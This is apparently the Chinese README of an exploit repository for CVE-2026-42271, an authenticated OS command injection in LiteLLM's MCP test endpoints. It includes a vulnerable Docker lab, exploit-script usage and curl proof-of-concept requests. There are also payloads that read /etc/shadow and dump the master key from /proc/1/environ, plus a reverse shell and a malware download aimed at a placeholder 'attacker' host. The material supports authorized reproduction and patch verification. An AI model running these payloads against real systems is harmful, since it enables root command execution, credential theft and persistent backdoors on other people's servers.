LiteLLM
POST /mcp-rest/test/connection和POST /mcp-rest/test/tools/list— 通过 MCP stdio 传输实现的需认证命令注入。任何有效的 API 密钥都可以以 root 身份(默认 Docker 部署中)执行任意操作系统命令。镜像已通过 digest 固定:存在漏洞的容器固定为 LiteLLM v1.82.6,确保长期可复现。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-42271 |
| CVSS v4.0 | 8.7(高危) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N |
| CVSS v3.1 | 8.8(高危) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-77 / CWE-78(操作系统命令注入) |
| 受影响版本 | LiteLLM >= 1.74.2, < 1.83.7 |
| 修复版本 | v1.83.7+(新增命令白名单 + PROXY_ADMIN 角色检查) |
| 发布时间 | 2026-05-08 |
| 固定版本 | v1.82.6 — 镜像通过 digest 固定,确保长期可复现 |
| 链接 | GHSA-v4p8-mg3p-g94g • NVD • GitLab Advisory |
用于在保存前预览 MCP 服务器的两个端点 — POST /mcp-rest/test/connection 和 POST /mcp-rest/test/tools/list — 在请求体中接受完整的 MCP 服务器配置,包括 stdio 传输 使用的 command、args 和 env 字段。
当使用 stdio 配置调用时,这些端点会在代理主机上以代理进程的权限(默认 Docker 中为 root)将提供的命令作为子进程启动。
关键问题: 这些端点仅检查代理 API 密钥是否有效,不进行角色检查 — 即使是低权限的 internal_user 密钥也可以利用此漏洞。
# 1. Start a vulnerable LiteLLM instance (pinned to v1.82.6)
docker compose up -d
# 2. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"
# Or use curl directly (blind RCE — response may show error but command executes)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "id > /tmp/pwned"]
}'
# Check that the command executed inside the container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...
API 会返回 "Failed to connect to MCP server",因为启动的进程不遵循 MCP 协议 — 但该命令已经以 root 权限执行。
POST /mcp-rest/test/connection测试 MCP 服务器连接。使用 stdio 传输时,会启动提供的命令。
POST /mcp-rest/test/tools/list列出测试 MCP 服务器的工具。行为相同 — 使用 stdio 传输时会启动提供的命令。
{
"transport": "stdio",
"command": "bash",
"args": ["-c", "<malicious command>"],
"env": {
"PATH": "/usr/bin:/bin"
}
}
该修复增加了两层防御机制:
validate_transport_fields() 实现 — 仅允许:npx、uvx、python、python3、node、docker、denoPROXY_ADMIN 角色CVE-2026-42271/
├── README.md # This file
├── docker-compose.yml # One-command vulnerable environment (pinned to v1.82.6)
├── requirements.txt # Dependencies
├── exploit/
│ ├── exploit.py # Full exploit script
│ └── payload.py # Payload generation module
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/ # Proof screenshots
PROXY_ADMIN 角色检查)/mcp-rest/test/connection 和 /mcp-rest/test/tools/listdocker run --user 1000:1000 ...复现 5.7 节(提取进程环境变量) 时需注意:MCP Python SDK v1.25.0+ 在创建 stdio 子进程时,不会继承 LiteLLM 父进程的环境变量。SDK 通过 get_default_environment() 仅传递 HOME 和 PATH,再合并用户显式指定的 env 字段。
因此 env > /tmp/env_dump 无法捕获 LITELLM_MASTER_KEY。
正确做法:通过读取 LiteLLM 主进程的 /proc/1/environ 提取环境变量:
# 提取环境变量(通过 /proc/1/environ)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
}'
# 查看结果
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# 输出: LITELLM_MASTER_KEY=sk-litellm-master-key
详情见 复现报告 5.7 节。
免责声明: 本内容仅供教育目的和授权安全测试使用。
| 场景 | 载荷 |
|---|
| 基础 RCE | "args": ["-c", "id > /tmp/pwned"] |
| 读取文件 | "args": ["-c", "cat /etc/shadow > /tmp/out"] |
| 窃取环境变量 | `"args": ["-c", "cat /proc/1/environ |
| 反弹 Shell | "args": ["-c", "bash -i >& /dev/tcp/attacker/4444 0>&1"] |
| 持久化 | "args": ["-c", "curl http://attacker/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"] |
| 字段 | 类型 | 必填 | 描述 |
|---|
transport | string | 是 | 必须为 "stdio" 才能进行命令注入 |
command | string | 是 | 要启动的可执行程序(如 bash、python、curl) |
args | array | 是 | 传递给命令的参数 |
env | object | 否 | 子进程的环境变量 |